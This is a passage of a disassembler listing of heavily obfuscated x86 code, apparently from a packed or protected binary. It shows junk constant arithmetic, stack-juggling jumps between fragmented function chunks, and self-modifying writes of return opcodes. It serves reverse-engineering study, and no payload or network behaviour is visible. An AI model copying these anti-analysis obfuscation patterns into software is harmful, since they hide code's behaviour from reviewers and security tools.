; FUNCTION CHUNK AT 0074E5D5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074FFC5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0075013F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00752554 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00753957 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007573A4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 007575E8 SIZE 00000012 BYTES

		add	eax, 0AFA60Dh
		add	eax, ebp
		add	eax, 0E33C57C9h


loc_74C8E8:				; CODE XREF: _0z4jwtox:00745AB8j
		mov	eax, [eax]
		jmp	loc_746E0A
sub_74C8DA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745C55


loc_74C8EF:				; CODE XREF: sub_745C55:loc_754F02j
		adc	eax, 0ED4F9206h
		test	edi, 0ADD7CD23h
		jmp	loc_755731
; END OF FUNCTION CHUNK	FOR sub_745C55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75375E


loc_74C900:				; CODE XREF: sub_75375E:loc_754F5Dj
		xchg	edi, [esp+4+var_4]
		mov	[ebp+var_4], eax
		push	offset loc_753567
		jmp	loc_74ED92
; END OF FUNCTION CHUNK	FOR sub_75375E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7508F9


loc_74C910:				; CODE XREF: sub_7508F9+14j
		jnz	loc_74C8BF
		push	offset loc_750616
		jmp	sub_7540D7
; END OF FUNCTION CHUNK	FOR sub_7508F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B44


loc_74C920:				; CODE XREF: sub_748B44+AC84j
		ror	edx, 1Dh
		jmp	loc_757354
; END OF FUNCTION CHUNK	FOR sub_748B44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_74C928:				; CODE XREF: sub_752D11+15E7j
		or	edi, esi
		cdq
		push	eax


loc_74C92C:				; CODE XREF: sub_752D11:loc_74E43Bj
		mov	eax, [ebp-4]
		jmp	loc_754747
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7562F7


loc_74C934:				; CODE XREF: sub_7562F7-760Ej
		sub	edx, 90D7C708h
		add	edx, 0C3B0E0C3h
		xchg	edx, [esp+0]
; END OF FUNCTION CHUNK	FOR sub_7562F7
; START	OF FUNCTION CHUNK FOR sub_748A22


loc_74C943:				; CODE XREF: sub_748A22:loc_74EAF8j
		jmp	loc_7552E6
; END OF FUNCTION CHUNK	FOR sub_748A22
; ---------------------------------------------------------------------------
		test	ecx, eax
		jmp	loc_753170
; ---------------------------------------------------------------------------
		push	0C0C8B7F5h


loc_74C954:				; CODE XREF: _0z4jwtox:loc_7561EAj
		pop	eax
		and	eax, 0D010A865h
		rol	eax, 2
		jmp	loc_7512B2
; ---------------------------------------------------------------------------
		or	eax, eax
		jnz	loc_74B6C3
		jmp	loc_752E7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C3B3


loc_74C970:				; CODE XREF: sub_74C3B3:loc_7510DAj
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp+0]
		push	edx
		jmp	loc_74906B
; END OF FUNCTION CHUNK	FOR sub_74C3B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE8E


loc_74C980:				; CODE XREF: sub_74AE8E:loc_7523CAj
		xor	edi, 230253F5h
		add	edi, 5ACF4A47h
		xchg	edi, [esp+0]
		jmp	loc_747D83
; END OF FUNCTION CHUNK	FOR sub_74AE8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746E37


loc_74C994:				; CODE XREF: sub_746E37+9CEFj
		mov	edi, esi
		pop	esi
		or	edi, 22EDEEFDh
		add	edi, 0F93B4A51h
		or	edi, 0D6C3C5B2h
		xor	edi, 60FB02CDh
		jmp	loc_7482F5
; END OF FUNCTION CHUNK	FOR sub_746E37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A67


loc_74C9B4:				; CODE XREF: sub_747A67+Bj
		pop	esi
		mov	eax, [esp-4+arg_0]
		push	offset sub_74A25C
		jmp	nullsub_101
; END OF FUNCTION CHUNK	FOR sub_747A67
; ---------------------------------------------------------------------------


loc_74C9C2:				; CODE XREF: _0z4jwtox:loc_74A964j
		jz	loc_74EEE4
		jmp	loc_7512CE
; ---------------------------------------------------------------------------


loc_74C9CD:				; CODE XREF: _0z4jwtox:0074D32Cj
		adc	esi, eax

; =============== S U B	R O U T	I N E =======================================



sub_74C9CF	proc near		; CODE XREF: sub_74CF91+1p

; FUNCTION CHUNK AT 0074AE17 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0075474C SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	90D15EBDh
		pop	ecx
		jmp	loc_74AE17
sub_74C9CF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74C9DE:				; CODE XREF: _0z4jwtox:loc_749A25j
		mov	ebp, [ebx]
		cmp	edx, 0CC7F5363h
; START	OF FUNCTION CHUNK FOR sub_74D782


loc_74C9E6:				; CODE XREF: sub_74D782:loc_745DE6j
		jmp	loc_748EE9
; END OF FUNCTION CHUNK	FOR sub_74D782
; ---------------------------------------------------------------------------
		mov	ds:dword_41F0D4, eax
		lea	eax, nullsub_278
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_278
; ---------------------------------------------------------------------------


loc_74C9FF:				; CODE XREF: _0z4jwtox:00753477j
		mov	eax, [esp]
		jmp	loc_74FA50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74EF6C


loc_74CA07:				; CODE XREF: sub_74EF6C:loc_749DE2j
		jz	loc_74EE3E
		jmp	loc_745C13
; END OF FUNCTION CHUNK	FOR sub_74EF6C
; ---------------------------------------------------------------------------
		dw 8A0Fh
; ---------------------------------------------------------------------------
		retn	20h
; ---------------------------------------------------------------------------
		align 4
		jmp	sub_7476BB

; =============== S U B	R O U T	I N E =======================================



sub_74CA1D	proc near		; CODE XREF: _0z4jwtox:0075243Bp
					; _0z4jwtox:00756C8Ej

; FUNCTION CHUNK AT 0074797C SIZE 00000011 BYTES

		xchg	ebx, [esp+0]
		pop	ebx


loc_74CA21:				; CODE XREF: _0z4jwtox:loc_74AFB6j
		push	eax


loc_74CA22:				; CODE XREF: _0z4jwtox:0074D471j
		mov	eax, edx
		xchg	eax, [esp+0]
		call	sub_74A3AB
		push	0A1B408F4h
		pop	eax
		jmp	loc_74797C
sub_74CA1D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749980


loc_74CA37:				; CODE XREF: sub_749980+76A2j
		mov	eax, 0D288A1C3h
		jmp	loc_748A5D
; END OF FUNCTION CHUNK	FOR sub_749980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748A22


loc_74CA41:				; CODE XREF: sub_748A22:loc_74D933j
		mov	eax, [ebp-10h]
		jmp	loc_74DC40
; ---------------------------------------------------------------------------


loc_74CA49:				; CODE XREF: sub_748A22:loc_74FE3Bj
		xor	eax, eax
		call	sub_757739


loc_74CA50:				; CODE XREF: sub_752DE1+Cj
		jmp	loc_753630
; END OF FUNCTION CHUNK	FOR sub_748A22
; ---------------------------------------------------------------------------
		mov	eax, 66708351h
		push	offset loc_7492B6
		jmp	locret_7459F8

; =============== S U B	R O U T	I N E =======================================



sub_74CA64	proc near		; CODE XREF: sub_74A5E8+4D8Ap
					; _0z4jwtox:00755CDBj

; FUNCTION CHUNK AT 0074E24E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074ED35 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755629 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	edi, ebp
		add	edi, 873558D5h
		jmp	loc_74ED35
sub_74CA64	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745BF7


loc_74CA77:				; CODE XREF: sub_745BF7+9E14j
		jmp	loc_755873
; END OF FUNCTION CHUNK	FOR sub_745BF7
; ---------------------------------------------------------------------------


loc_74CA7C:				; CODE XREF: _0z4jwtox:loc_74EFBFj
					; _0z4jwtox:0074EFCDj
		sub	ecx, 0A4DD2C48h
		add	ecx, 0A8D41262h
		xchg	ecx, [esp]
		jmp	sub_754A3D
; ---------------------------------------------------------------------------

locret_74CA90:				; CODE XREF: _0z4jwtox:00755E5Fj
		retn
; ---------------------------------------------------------------------------


loc_74CA91:				; CODE XREF: _0z4jwtox:007520C3j
		jmp	loc_757754
; ---------------------------------------------------------------------------


loc_74CA96:				; CODE XREF: _0z4jwtox:0075023Ej
		jmp	loc_749022
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749161


loc_74CA9C:				; CODE XREF: sub_749161-10FCj
		jmp	nullsub_205
; END OF FUNCTION CHUNK	FOR sub_749161
; ---------------------------------------------------------------------------
		jb	loc_74D59C
; START	OF FUNCTION CHUNK FOR sub_752737


loc_74CAA7:				; CODE XREF: sub_752737:loc_74869Cj
		add	edx, 0B70F4154h
		mov	[edx], eax
		xchg	ecx, [esp+0]
		mov	edx, ecx
		pop	ecx
		lea	eax, nullsub_18
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_18
; END OF FUNCTION CHUNK	FOR sub_752737

; =============== S U B	R O U T	I N E =======================================



sub_74CAC3	proc near		; CODE XREF: _0z4jwtox:0074D068j
					; sub_74D9D0+1p

; FUNCTION CHUNK AT 0074EDE7 SIZE 00000008 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	0C0C04E00h
		pop	edx
		sub	edx, 5A130053h
		add	edx, 0D00BC7C3h
		sub	edx, 0D305C970h
		add	edx, 9C8EA51Ch
		jmp	loc_74EDE7
sub_74CAC3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_74CAEA:				; CODE XREF: sub_747AEC:loc_756766j
		push	1E9CC146h
		pop	esi
		and	esi, 0CBC651ECh
		add	esi, 0F5F0A235h
		xchg	esi, [esp+0]
		jmp	sub_750C4E
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------


loc_74CB04:				; CODE XREF: _0z4jwtox:00754299j
		jbe	loc_74D59E
		sub	edx, ebp

; =============== S U B	R O U T	I N E =======================================



sub_74CB0C	proc near		; CODE XREF: sub_7561F2+10p
		xchg	ebx, [esp+0]
		pop	ebx
		mov	byte ptr [eax],	0C3h
		jmp	sub_748BB8
sub_74CB0C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748BB8


loc_74CB18:				; CODE XREF: sub_748BB8:loc_7460D5j
		mov	eax, [esp-4+arg_0]
		push	edi
		jmp	loc_74E288
; END OF FUNCTION CHUNK	FOR sub_748BB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74CB21:				; CODE XREF: sub_747C22:loc_7475F0j
		xor	esi, 0E99E3C70h
		rol	esi, 7
		and	esi, 0FEA3C1D6h
		push	offset sub_74B042
		jmp	nullsub_160
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C0C


loc_74CB3A:				; CODE XREF: sub_747C0C+10j
		pop	ecx
		or	edi, 4CB442C8h
		and	edi, 3662EBB4h
		rol	edi, 0Ch
		add	edi, 0F3B97286h
		jmp	loc_74E233
; END OF FUNCTION CHUNK	FOR sub_747C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754FC6


loc_74CB55:				; CODE XREF: sub_754FC6+16j
		cmp	ds:dword_7575C8, 0
		jnz	loc_756B1B
		lea	edx, [ebp+var_14]
		mov	eax, offset dword_7575CC
		call	sub_7475CB


loc_74CB6F:				; CODE XREF: sub_74673E+CD17j
		jmp	loc_74F8F2
; END OF FUNCTION CHUNK	FOR sub_754FC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B01A


loc_74CB74:				; CODE XREF: sub_74B01A+27A9j
		jmp	sub_7451D9
; END OF FUNCTION CHUNK	FOR sub_74B01A

; =============== S U B	R O U T	I N E =======================================



sub_74CB79	proc near		; CODE XREF: _0z4jwtox:loc_7539CFj
					; DATA XREF: sub_74A7D8:loc_7539C5o

; FUNCTION CHUNK AT 00753845 SIZE 00000010 BYTES

		xchg	ebx, [esp+0]
		mov	ecx, ebx
		pop	ebx
		call	sub_74DAA9


loc_74CB84:				; CODE XREF: sub_7543C5:loc_75528Cj
		jmp	loc_753845
sub_74CB79	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74CB89:				; CODE XREF: _0z4jwtox:00752CE1j
		jmp	loc_756207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C874


loc_74CB8E:				; CODE XREF: sub_74C874-324Bj
		jmp	sub_74C874
; END OF FUNCTION CHUNK	FOR sub_74C874
; ---------------------------------------------------------------------------
		mov	edi, 6DF60E5h
		shr	ebp, 1Dh
		jmp	sub_749B76
; ---------------------------------------------------------------------------


loc_74CBA0:				; DATA XREF: sub_74B1F9+8DC1o
		push	4557C2CEh
		pop	ecx
		or	ecx, 73F986D1h
		and	ecx, 0CD2FC1ACh
		jmp	loc_74C0D2

; =============== S U B	R O U T	I N E =======================================



sub_74CBB7	proc near		; CODE XREF: sub_7485D5p
					; _0z4jwtox:007506ABj ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 007452B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D622 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D853 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0074F56C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007506B0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00750C49 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075158B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0075259E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007542A5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 007573E6 SIZE 00000005 BYTES

		jnz	loc_7506B0
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edi
		mov	edi, edx
		jmp	loc_74D853
sub_74CBB7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_74CBC9:				; CODE XREF: _0z4jwtox:loc_74B6CDj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F78B


loc_74CBCA:				; CODE XREF: sub_74F78B-97B1j
		jmp	loc_74D91B
; END OF FUNCTION CHUNK	FOR sub_74F78B

; =============== S U B	R O U T	I N E =======================================



sub_74CBCF	proc near		; CODE XREF: sub_7543C5:loc_74EBE2p
					; _0z4jwtox:00756B6Bj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00745172 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00745D39 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00745F9C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00746018 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 007466FB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00746EC7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748282 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00749A1B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00749D03 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A3E0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074B46B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074BF52 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0074D651 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0074D6CF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074E1A8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074EB91 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074ED3A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074F970 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 007503BC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00750AA2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00750EDE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00751473 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 007520EC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00752755 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075404F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754A85 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00754BFF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075500E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007557B1 SIZE 00000005 BYTES

		xchg	ebx, [esp+4+var_4]


loc_74CBD2:				; CODE XREF: _0z4jwtox:loc_74F3FCj
					; _0z4jwtox:loc_7525DCj
		pop	ebx
		mov	eax, ds:dword_756488
		or	eax, eax
		jnz	loc_750EDE
		jmp	loc_74A3E0
sub_74CBCF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74CBE6	proc near		; CODE XREF: _0z4jwtox:0074A437j
					; sub_74A445+Cp

; FUNCTION CHUNK AT 00746A17 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00748EC3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075376F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0075723B SIZE 00000016 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	[ebp-8], eax
		mov	eax, [ebp+8]
		test	byte ptr [eax-7], 10h
		jz	loc_75723B
		inc	dword ptr [ebp-8]


loc_74CBFD:				; CODE XREF: sub_74CBE6+6B8Dj
					; sub_74CBE6+A666j
		mov	eax, [ebp-8]
		jmp	loc_748EC3
sub_74CBE6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74CC05	proc near		; DATA XREF: sub_74504D+B0B2o
		call	sub_75375E
		call	sub_745C5B
sub_74CC05	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_74B719


loc_74CC0F:				; CODE XREF: sub_74B719+272Cj
		jmp	loc_746209
; END OF FUNCTION CHUNK	FOR sub_74B719
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C68A


loc_74CC14:				; CODE XREF: sub_74C68A+8j
		jmp	loc_74E1BC
; END OF FUNCTION CHUNK	FOR sub_74C68A
; ---------------------------------------------------------------------------


loc_74CC19:				; CODE XREF: _0z4jwtox:00746BDBj
		jmp	loc_748DE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7475DD


loc_74CC1E:				; CODE XREF: sub_7475DD+F553j
		call	sub_74F13C


loc_74CC23:				; DATA XREF: sub_7473D1:loc_74F9C9o
		mov	eax, [ebp-10h]
		push	ebx
		push	0BE5AB433h
		pop	ebx
		and	ebx, 5B4B5B76h
		sub	ebx, 9ECFD978h
; END OF FUNCTION CHUNK	FOR sub_7475DD
; START	OF FUNCTION CHUNK FOR sub_74BD6F


loc_74CC39:				; CODE XREF: sub_74BD6F:loc_7483FCj
		cmp	ebx, 8184EAE7h
		jmp	loc_74A383
; END OF FUNCTION CHUNK	FOR sub_74BD6F
; ---------------------------------------------------------------------------


loc_74CC44:				; CODE XREF: _0z4jwtox:loc_753620j
		popf
		jmp	loc_746C1B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7491FD


loc_74CC4B:				; CODE XREF: sub_7491FD:loc_7575E3j
		pop	ecx
		xor	ecx, 1E2E27F8h
		or	ecx, 78D74A7Bh
		add	ecx, 59DCDA4h
		xchg	ecx, [esp+4+var_4]
		jmp	sub_74E0EB
; END OF FUNCTION CHUNK	FOR sub_7491FD
; ---------------------------------------------------------------------------


loc_74CC66:				; CODE XREF: _0z4jwtox:loc_753371j
		sub	esi, 0E8C6CF9Fh
		add	esi, 7F955134h
		xchg	esi, [esp]
		jmp	loc_754A06
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750243


loc_74CC7B:				; CODE XREF: sub_750243+6D71j
		jmp	loc_74C829
; END OF FUNCTION CHUNK	FOR sub_750243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7465D2


loc_74CC80:				; CODE XREF: sub_7465D2+17j
		xor	edi, 60A900A5h
		jns	loc_756DB6
		shl	edx, 1
		pop	edi
		jmp	loc_756DB6
; END OF FUNCTION CHUNK	FOR sub_7465D2
; ---------------------------------------------------------------------------


loc_74CC94:				; CODE XREF: _0z4jwtox:0074F42Fj
		xor	ecx, 5D1284D4h
		add	ecx, 5D58D2A9h
		push	offset sub_754E41
		jmp	loc_74B906
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_74CCAA:				; CODE XREF: sub_747C39+FB3Aj
		sub	edx, esi
		jmp	loc_749D9B
; END OF FUNCTION CHUNK	FOR sub_747C39

; =============== S U B	R O U T	I N E =======================================



sub_74CCB1	proc near		; CODE XREF: _0z4jwtox:0074D3B3j
					; _0z4jwtox:00751064p

; FUNCTION CHUNK AT 0074FA31 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 007531D2 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	ds:dword_41F0FC, eax
		lea	eax, nullsub_273
		jmp	loc_7531D2
sub_74CCB1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	offset sub_753F8B
		jmp	loc_7546B4
; ---------------------------------------------------------------------------
		or	edi, ebp
		jmp	loc_74E52F
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_745620
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A96E


loc_74CCDD:				; CODE XREF: sub_74A96E:loc_74747Dj
		push	0BC79CB55h
		pop	edi
		sub	edi, 40F891B8h
		test	edi, 400h
		jmp	loc_75016C
; END OF FUNCTION CHUNK	FOR sub_74A96E

; =============== S U B	R O U T	I N E =======================================



sub_74CCF4	proc near		; DATA XREF: sub_75143A-8698o

; FUNCTION CHUNK AT 007551BE SIZE 00000005 BYTES

		push	9811C21Fh
		pop	ebx
		add	ebx, 54937DE6h
		sub	ebx, 8E2CFEC9h
		add	ebx, 0A1FCB24Ch
		mov	[ebx], eax
		xchg	edx, [esp+0]
		push	offset loc_7484BE
		jmp	loc_7551BE
sub_74CCF4	endp

; ---------------------------------------------------------------------------


loc_74CD1B:				; CODE XREF: _0z4jwtox:loc_74A0D4j
		pop	ebx
		and	ebx, 41C9FD4h
		xor	ebx, 14C332Bh
		or	ebx, 283847B7h
		add	ebx, 0D2F7BC95h
		mov	[ebx], eax
		pop	ebx
		jmp	loc_74F015
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jo	loc_74D73A
		jmp	loc_74A718
; ---------------------------------------------------------------------------
		cdq
		and	ebx, esi
		jmp	sub_745480
; ---------------------------------------------------------------------------


loc_74CD50:				; CODE XREF: _0z4jwtox:loc_7486ACj
		pop	edi
		jno	loc_750572
		mov	eax, [esp]
		push	eax
		mov	eax, edx
		xchg	eax, [esp]
		jmp	loc_7470AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_74CD65:				; CODE XREF: sub_74673E+6197j
		or	esi, ecx
		cmp	edx, 86C0D545h
		jmp	loc_750A77
; END OF FUNCTION CHUNK	FOR sub_74673E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75609F


loc_74CD72:				; CODE XREF: sub_75609F-BD0Cj
					; sub_75609F:loc_74E57Aj
		add	ebx, 0D2AF7A11h
		xchg	ebx, [esp+0]
		jmp	loc_748F5B
; END OF FUNCTION CHUNK	FOR sub_75609F

; =============== S U B	R O U T	I N E =======================================



sub_74CD80	proc near		; CODE XREF: _0z4jwtox:007473B1j
					; sub_747C22+654p

; FUNCTION CHUNK AT 007452E1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00745EB5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00746E6B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00749034 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00749A4C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0074C0F7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D27E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00752FFE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754F07 SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	0FBC6A22Ch
		pop	edi
		jmp	loc_74C0F7
sub_74CD80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B44


loc_74CD8F:				; CODE XREF: sub_748B44:loc_752183j
		xor	edx, 0B9959A52h
		add	edx, ebp
		add	edx, 0A6206DA6h
		mov	edx, [edx]
		imul	byte ptr [edx]
		jmp	loc_754D04
; END OF FUNCTION CHUNK	FOR sub_748B44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748773


loc_74CDA6:				; CODE XREF: sub_748773:loc_745807j
		popf
		mov	eax, offset dword_74C2F8
		push	esi
		push	0D30D0C65h
		jmp	loc_74F802
; END OF FUNCTION CHUNK	FOR sub_748773
; ---------------------------------------------------------------------------


loc_74CDB7:				; CODE XREF: _0z4jwtox:00750555j
		ja	loc_7459A3
; START	OF FUNCTION CHUNK FOR sub_7463AE


loc_74CDBD:				; CODE XREF: _0z4jwtox:loc_750544j
					; sub_7463AE:loc_750C3Bj
		xor	eax, 0E06F1081h
		call	sub_75427C


loc_74CDC8:				; CODE XREF: sub_7535F0-F6Fj
		jmp	loc_7515BA
; END OF FUNCTION CHUNK	FOR sub_7463AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748DCB


loc_74CDCD:				; CODE XREF: sub_748DCB+16j
		jmp	loc_74A5B6
; END OF FUNCTION CHUNK	FOR sub_748DCB
; ---------------------------------------------------------------------------


loc_74CDD2:				; CODE XREF: _0z4jwtox:loc_746002j
					; _0z4jwtox:00748569j
		push	offset loc_75082B
		jmp	locret_745838
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754C68


loc_74CDDC:				; CODE XREF: sub_754C68-2BC4j
		jz	loc_74E5BE


loc_74CDE2:				; CODE XREF: _0z4jwtox:00752A94j
		jmp	loc_753429
; END OF FUNCTION CHUNK	FOR sub_754C68
; ---------------------------------------------------------------------------
		sub	ebp, 8A7EEECFh
		ja	loc_748154
		jmp	loc_74E5BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746CC3


loc_74CDF8:				; CODE XREF: sub_746CC3+15j
		adc	edx, [esp+arg_0]
		add	esp, 8
		mov	eax, [eax]
		push	offset loc_756E88
		jmp	loc_74892E
; END OF FUNCTION CHUNK	FOR sub_746CC3
; ---------------------------------------------------------------------------


loc_74CE0B:				; CODE XREF: _0z4jwtox:loc_74E3F2j
		push	85FC18A9h
		mov	edi, 0DC3BEE77h
		jmp	loc_75149E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753F8B


loc_74CE1A:				; CODE XREF: sub_753F8B+1EE2j
		adc	ebp, 9C1EA46Eh


loc_74CE20:				; CODE XREF: sub_753F8B:loc_755E64j
		xor	eax, 2CE56360h
		push	offset sub_7529BD
		jmp	loc_7543E8
; END OF FUNCTION CHUNK	FOR sub_753F8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75275A


loc_74CE30:				; CODE XREF: sub_75275A-D4CDj
					; sub_75275A:loc_746A67j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_755EF0
		jmp	loc_749AE1
; END OF FUNCTION CHUNK	FOR sub_75275A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745243


loc_74CE41:				; CODE XREF: sub_745243+10j
		sub	eax, 20FBD054h
		or	eax, 0B66827EAh
		rol	eax, 1Bh
		or	eax, 8E8E1983h
		add	eax, 20B61026h
		xchg	eax, [esp+8+var_8]
		jmp	sub_747892
; END OF FUNCTION CHUNK	FOR sub_745243
; ---------------------------------------------------------------------------


loc_74CE64:				; CODE XREF: _0z4jwtox:00754D6Cj
		add	esi, 7AF756C3h
		xchg	esi, [esp]


loc_74CE6D:				; CODE XREF: _0z4jwtox:loc_74F1F8j
		jmp	sub_746E93
; ---------------------------------------------------------------------------


loc_74CE72:				; DATA XREF: sub_749161-1101o
		push	edx
		push	eax
		push	offset sub_753D5F
		jmp	loc_74831B
; ---------------------------------------------------------------------------


loc_74CE7E:				; CODE XREF: _0z4jwtox:0075765Ej
